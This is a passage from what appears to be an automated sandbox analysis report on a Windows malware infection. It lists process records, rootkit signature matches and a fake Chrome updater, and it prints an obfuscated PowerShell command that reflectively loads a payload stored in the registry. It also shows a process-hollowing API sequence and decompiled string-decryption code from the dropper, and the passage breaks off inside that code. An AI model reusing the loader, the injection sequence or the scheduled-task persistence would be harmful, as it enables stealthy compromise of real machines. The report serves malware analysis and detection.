Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
Imagebase:	0x7ff7fbaf0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5384, Parent PID: 1736

General

Target ID:	67
Start time:	04:37:25
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5992, Parent PID: 4520

General

Target ID:	68
Start time:	04:37:25
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 3584, Parent PID: 2548

General

Target ID:	69
Start time:	04:37:25
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 5856, Parent PID: 1736

General

Target ID:	70
Start time:	04:37:40
Start date:	27/11/2022
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
Imagebase:	0x7ff7f1930000
File size:	226816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: GoogleUpdate.exePID: 6124, Parent PID: 5420

General

Target ID:	71
Start time:	04:37:45
Start date:	27/11/2022
Path:	C:\Windows\GoogleUpdate.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\GoogleUpdate.exe
Imagebase:	0xa50000
File size:	154456 bytes
MD5 hash:	9A66A3DE2589F7108426AF37AB7F6B41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: dllhost.exePID: 5604, Parent PID: 556

General

Target ID:	73
Start time:	04:37:58
Start date:	27/11/2022
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{29a9a3a9-f91b-48e0-a57c-b80e63016d7e}
Imagebase:
File size:	20888 bytes
MD5 hash:	2528137C6745C4EADD87817A1909677E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Rootkit_R77_5bab748b, Description: unknown, Source: 00000049.00000002.596818252.0000020DEA620000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Rootkit_R77_5bab748b, Description: unknown, Source: 00000049.00000002.598194987.0000020DEA650000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Rootkit_R77_5bab748b, Description: unknown, Source: 00000049.00000000.559652688.000000014001C000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Rootkit_R77_5bab748b, Description: unknown, Source: 00000049.00000002.594389851.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: GoogleUpdate.exePID: 5524, Parent PID: 5420

General

Target ID:	74
Start time:	04:38:00
Start date:	27/11/2022
Path:	C:\Windows\GoogleUpdate.exe
Wow64 process (32bit):
Commandline:	C:\Windows\GoogleUpdate.exe
Imagebase:
File size:	154456 bytes
MD5 hash:	9A66A3DE2589F7108426AF37AB7F6B41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: updater.exePID: 5288, Parent PID: 1084

General

Target ID:	75
Start time:	04:38:01
Start date:	27/11/2022
Path:	C:\Program Files\Google\Chrome\updater.exe
Wow64 process (32bit):
Commandline:	C:\Program Files\Google\Chrome\updater.exe
Imagebase:
File size:	2884609 bytes
MD5 hash:	EB27BB8CFA99D659E4FE023E9002ECD1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Rootkit_R77_5bab748b, Description: unknown, Source: 0000004B.00000002.600391370.000001D03D210000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Rootkit_R77_5bab748b, Description: unknown, Source: 0000004B.00000002.597332163.000001D03CFC0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Rootkit_R77_5bab748b, Description: unknown, Source: 0000004B.00000002.607799213.000001D03D2A0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Rootkit_R77_5bab748b, Description: unknown, Source: 0000004B.00000002.607598805.000001D03D260000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 85%, ReversingLabs

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: setup.exePID: 3648, Parent PID: 3324COMMON

Execution Graph

Execution Coverage:	21%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	7.8%
Total number of Nodes:	1364
Total number of Limit Nodes:	20

Executed Functions

Function 00413189 Relevance: 25.0, APIs: 13, Strings: 1, Instructions: 467
memorythreadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 0041346A
GetThreadContext.KERNELBASE(?,00010007), ref: 0041347F
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 004134A0
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 004134D2
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 004134F2
VirtualAllocEx.KERNELBASE(?,00000000,?,00003000,00000040), ref: 0041352F
WriteProcessMemory.KERNELBASE(?,?,00000000,?,00000000), ref: 00413625
VirtualProtectEx.KERNELBASE(?,?,?,00000002,?), ref: 00413642
VirtualProtectEx.KERNELBASE(?,?,?,00000001,?), ref: 004136AC
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 004136CE
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 004136E9
SetThreadContext.KERNELBASE(?,00010007), ref: 00413706
ResumeThread.KERNELBASE(?), ref: 00413713

Strings

D, xrefs: 004133C2

Memory Dump Source

Source File: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: Virtual$Process$AllocMemoryThread$ContextProtectWrite$CreateFreeReadResume
String ID: D
API String ID: 2402967479-2746444292
Opcode ID: 0f12e257533f2bba003e1d6bb2e033b7a2472d2d85e254e8470fd1158bdd1a21
Instruction ID: 439529c2fa45a591a1190f89c1ead9887493916b3787c40c80b9a2287fa61d01
Opcode Fuzzy Hash: 0f12e257533f2bba003e1d6bb2e033b7a2472d2d85e254e8470fd1158bdd1a21
Instruction Fuzzy Hash: D21218B1D00219ABDF21CFA4CD84BEEBBB5FF04705F1484AAE519E6290E7749A84CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004018A0 Relevance: 30.9, APIs: 3, Strings: 14, Instructions: 1132
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E004018A0(signed int __eax, void* _a4, long _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				long _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				struct HINSTANCE__* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				signed char _v112;
				signed int _v113;
				signed int _v120;
				signed int _v121;
				signed char _t648;
				void* _t746;

				_t648 = __eax;
				_v104 =  *0x40f8d0;
				_v104 =  *0x40f8cc;
				_v104 =  *0x40f8c8;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((__eax & 0x00000044) == 0) {
					_v104 =  *0x40f8c4;
					_v104 =  *0x40f8c0;
				}
				_v104 =  *0x40f8bc;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v104 =  *0x40f8b8;
					_v104 =  *0x40f8b4;
				}
				_v104 =  *0x40f8b0;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v104 =  *0x40f8ac;
					_v104 =  *0x40f8a8;
				}
				_v104 =  *0x40f8a4;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v104 =  *0x40f8a0;
					_v104 =  *0x40f89c;
				}
				_v104 =  *0x40f898;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v104 =  *0x40f894;
					_v104 =  *0x40f890;
				}
				_v84 =  *0x40f88c;
				_v84 =  *0x40f888;
				_v84 =  *0x40f884;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v84 =  *0x40f880;
					_v84 =  *0x40f87c;
				}
				_v84 =  *0x40f878;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v84 =  *0x40f874;
					_v84 =  *0x40f870;
				}
				_v84 =  *0x40f86c;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v84 =  *0x40f868;
					_v84 =  *0x40f864;
				}
				_v84 =  *0x40f860;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v84 =  *0x40f85c;
					_v84 =  *0x40f858;
				}
				_v84 =  *0x40f854;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v84 =  *0x40f850;
					_v84 =  *0x40f84c;
				}
				_v8 =  *0x40f848;
				_v8 =  *0x40f844;
				_v8 =  *0x40f840;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v8 =  *0x40f83c;
					_v8 =  *0x40f838;
				}
				_v8 =  *0x40f834;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v8 =  *0x40f830;
					_v8 =  *0x40f82c;
				}
				_v8 =  *0x40f828;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v8 =  *0x40f824;
					_v8 =  *0x40f820;
				}
				_v8 =  *0x40f81c;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v8 =  *0x40f818;
					_v8 =  *0x40f814;
				}
				_v8 =  *0x40f810;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v8 =  *0x40f80c;
					_v8 =  *0x40f808;
				}
				_v100 =  *0x40f804;
				_v100 =  *0x40f800;
				_v100 =  *0x40f7fc;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v100 =  *0x40f7f8;
					_v100 =  *0x40f7f4;
				}
				_v100 =  *0x40f7f0;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v100 =  *0x40f7ec;
					_v100 =  *0x40f7e8;
				}
				_v100 =  *0x40f7e4;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v100 =  *0x40f7e0;
					_v100 =  *0x40f7dc;
				}
				_v100 =  *0x40f7d8;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v100 =  *0x40f7d4;
					_v100 =  *0x40f7d0;
				}
				_v100 =  *0x40f7cc;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v100 =  *0x40f7c8;
					_v100 =  *0x40f7c4;
				}
				_v52 =  *0x40f7c0;
				_v52 =  *0x40f7bc;
				_v52 =  *0x40f7b8;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v52 =  *0x40f7b4;
					_v52 =  *0x40f7b0;
				}
				_v52 =  *0x40f7ac;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v52 =  *0x40f7a8;
					_v52 =  *0x40f7a4;
				}
				_v52 =  *0x40f7a0;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v52 =  *0x40f79c;
					_v52 =  *0x40f798;
				}
				_v52 =  *0x40f794;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v52 =  *0x40f790;
					_v52 =  *0x40f78c;
				}
				_v52 =  *0x40f788;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v52 =  *0x40f784;
					_v52 =  *0x40f780;
				}
				_v48 =  *0x40f77c;
				_v48 =  *0x40f778;
				_v48 =  *0x40f774;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v48 =  *0x40f770;
					_v48 =  *0x40f76c;
				}
				_v48 =  *0x40f768;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v48 =  *0x40f764;
					_v48 =  *0x40f760;
				}
				_v48 =  *0x40f75c;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v48 =  *0x40f758;
					_v48 =  *0x40f754;
				}
				_v48 =  *0x40f750;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v48 =  *0x40f74c;
					_v48 =  *0x40f748;
				}
				_v48 =  *0x40f744;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v48 =  *0x40f740;
					_v48 =  *0x40f73c;
				}
				_v44 =  *0x40f738;
				_v44 =  *0x40f734;
				_v44 =  *0x40f730;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v44 =  *0x40f72c;
					_v44 =  *0x40f728;
				}
				_v44 =  *0x40f724;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v44 =  *0x40f720;
					_v44 =  *0x40f71c;
				}
				_v44 =  *0x40f718;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v44 =  *0x40f714;
					_v44 =  *0x40f710;
				}
				_v44 =  *0x40f70c;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v44 =  *0x40f708;
					_v44 =  *0x40f704;
				}
				_v44 =  *0x40f700;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v44 =  *0x40f6fc;
					_v44 =  *0x40f6f8;
				}
				_v76 =  *0x40f6f4;
				_v76 =  *0x40f6f0;
				_v76 =  *0x40f6ec;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v76 =  *0x40f6e8;
					_v76 =  *0x40f6e4;
				}
				_v76 =  *0x40f6e0;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v76 =  *0x40f6dc;
					_v76 =  *0x40f6d8;
				}
				_v76 =  *0x40f6d4;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v76 =  *0x40f6d0;
					_v76 =  *0x40f6cc;
				}
				_v76 =  *0x40f6c8;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v76 =  *0x40f6c4;
					_v76 =  *0x40f6c0;
				}
				_v76 =  *0x40f6bc;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v76 =  *0x40f6b8;
					_v76 =  *0x40f6b4;
				}
				_v68 = 4;
				_v67 = 0xac;
				_v66 = 0xcb;
				_v65 = 0x2c;
				_v64 = 0xcb;
				_v63 = 0x2f;
				_v62 = 0xcf;
				_v61 = 0xa4;
				_v60 = 0xc;
				_v59 = 0x31;
				_v58 = 0x4f;
				_v57 = 0x63;
				_v56 = 0x43;
				_v55 = 0x6e;
				_v54 = 0xcb;
				_v112 = 0;
				while(_v112 < 0xf) {
					_v113 =  *((intOrPtr*)(_t746 + _v112 - 0x40));
					_v113 = (_v113 & 0x000000ff) >> 0x00000005 | (_v113 & 0x000000ff) << 0x00000003;
					_v113 = (_v113 & 0x000000ff) - _v112;
					_v113 =  ~(_v113 & 0x000000ff);
					_v113 = (_v113 & 0x000000ff) + _v112;
					_v113 =  !(_v113 & 0x000000ff);
					_v113 = _v113 & 0x000000ff ^ 0x000000c0;
					_v113 = (_v113 & 0x000000ff) + _v112;
					_v113 = _v113 & 0x000000ff ^ _v112;
					_v113 =  ~(_v113 & 0x000000ff);
					_v113 = (_v113 & 0x000000ff) + _v112;
					_v113 = _v113 & 0x000000ff ^ 0x000000f8;
					_v113 =  !(_v113 & 0x000000ff);
					_v113 = _v113 & 0x000000ff ^ 0x000000d4;
					_v113 = (_v113 & 0x000000ff) >> 0x00000001 | (_v113 & 0x000000ff) << 0x00000007;
					_v113 = _v113 & 0x000000ff ^ 0x0000002f;
					 *((char*)(_t746 + _v112 - 0x40)) = _v113;
					_t648 = _v112 + 1;
					_v112 = _t648;
				}
				_v20 =  *0x40f6b0;
				_v20 =  *0x40f6ac;
				_v20 =  *0x40f6a8;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v20 =  *0x40f6a4;
					_v20 =  *0x40f6a0;
				}
				_v20 =  *0x40f69c;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v20 =  *0x40f698;
					_v20 =  *0x40f694;
				}
				_v20 =  *0x40f690;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v20 =  *0x40f68c;
					_v20 =  *0x40f688;
				}
				_v20 =  *0x40f684;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v20 =  *0x40f680;
					_v20 =  *0x40f67c;
				}
				_v20 =  *0x40f678;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v20 =  *0x40f674;
					_v20 =  *0x40f670;
				}
				_v16 =  *0x40f66c;
				_v16 =  *0x40f668;
				_v16 =  *0x40f664;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v16 =  *0x40f660;
					_v16 =  *0x40f65c;
				}
				_v16 =  *0x40f658;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v16 =  *0x40f654;
					_v16 =  *0x40f650;
				}
				_v16 =  *0x40f64c;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v16 =  *0x40f648;
					_v16 =  *0x40f644;
				}
				_v16 =  *0x40f640;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v16 =  *0x40f63c;
					_v16 =  *0x40f638;
				}
				_v16 =  *0x40f634;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v16 =  *0x40f630;
					_v16 =  *0x40f62c;
				}
				_v108 =  *0x40f628;
				_v108 =  *0x40f624;
				_v108 =  *0x40f620;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v108 =  *0x40f61c;
					_v108 =  *0x40f618;
				}
				_v108 =  *0x40f614;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v108 =  *0x40f610;
					_v108 =  *0x40f60c;
				}
				_v108 =  *0x40f608;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v108 =  *0x40f604;
					_v108 =  *0x40f600;
				}
				_v108 =  *0x40f5fc;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v108 =  *0x40f5f8;
					_v108 =  *0x40f5f4;
				}
				_v108 =  *0x40f5f0;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v108 =  *0x40f5ec;
					_v108 =  *0x40f5e8;
				}
				_v96 =  *0x40f5e4;
				_v96 =  *0x40f5e0;
				_v96 =  *0x40f5dc;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v96 =  *0x40f5d8;
					_v96 =  *0x40f5d4;
				}
				_v96 =  *0x40f5d0;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v96 =  *0x40f5cc;
					_v96 =  *0x40f5c8;
				}
				_v96 =  *0x40f5c4;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v96 =  *0x40f5c0;
					_v96 =  *0x40f5bc;
				}
				_v96 =  *0x40f5b8;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v96 =  *0x40f5b4;
					_v96 =  *0x40f5b0;
				}
				_v96 =  *0x40f5ac;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v96 =  *0x40f5a8;
					_v96 =  *0x40f5a4;
				}
				_v12 =  *0x40f5a0;
				_v12 =  *0x40f59c;
				_v12 =  *0x40f598;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v12 =  *0x40f594;
					_v12 =  *0x40f590;
				}
				_v12 =  *0x40f58c;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v12 =  *0x40f588;
					_v12 =  *0x40f584;
				}
				_v12 =  *0x40f580;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v12 =  *0x40f57c;
					_v12 =  *0x40f578;
				}
				_v12 =  *0x40f574;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v12 =  *0x40f570;
					_v12 =  *0x40f56c;
				}
				_v12 =  *0x40f568;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v12 =  *0x40f564;
					_v12 =  *0x40f560;
				}
				_v92 =  *0x40f55c;
				_v92 =  *0x40f558;
				_v92 =  *0x40f554;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v92 =  *0x40f550;
					_v92 =  *0x40f54c;
				}
				_v92 =  *0x40f548;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v92 =  *0x40f544;
					_v92 =  *0x40f540;
				}
				_v92 =  *0x40f53c;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v92 =  *0x40f538;
					_v92 =  *0x40f534;
				}
				_v92 =  *0x40f530;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v92 =  *0x40f52c;
					_v92 =  *0x40f528;
				}
				_v92 =  *0x40f524;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v92 =  *0x40f520;
					_v92 =  *0x40f51c;
				}
				_v88 =  *0x40f518;
				_v88 =  *0x40f514;
				_v88 =  *0x40f510;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v88 =  *0x40f50c;
					_v88 =  *0x40f508;
				}
				_v88 =  *0x40f504;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v88 =  *0x40f500;
					_v88 =  *0x40f4fc;
				}
				_v88 =  *0x40f4f8;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v88 =  *0x40f4f4;
					_v88 =  *0x40f4f0;
				}
				_v88 =  *0x40f4ec;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v88 =  *0x40f4e8;
					_v88 =  *0x40f4e4;
				}
				_v88 =  *0x40f4e0;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v88 =  *0x40f4dc;
					_v88 =  *0x40f4d8;
				}
				_v80 =  *0x40f4d4;
				_v80 =  *0x40f4d0;
				_v80 =  *0x40f4cc;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v80 =  *0x40f4c8;
					_v80 =  *0x40f4c4;
				}
				_v80 =  *0x40f4c0;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v80 =  *0x40f4bc;
					_v80 =  *0x40f4b8;
				}
				_v80 =  *0x40f4b4;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v80 =  *0x40f4b0;
					_v80 =  *0x40f4ac;
				}
				_v80 =  *0x40f4a8;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v80 =  *0x40f4a4;
					_v80 =  *0x40f4a0;
				}
				_v80 =  *0x40f49c;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t648 & 0x00000044) == 0) {
					_v80 =  *0x40f498;
					_v80 =  *0x40f494;
				}
				_v36 = 0x53;
				_v35 = 0xa9;
				_v34 = 0xbb;
				_v33 = 0x45;
				_v32 = 0x74;
				_v31 = 0x8c;
				_v30 = 0xaf;
				_v29 = 0x77;
				_v28 = 0x36;
				_v27 = 0xbb;
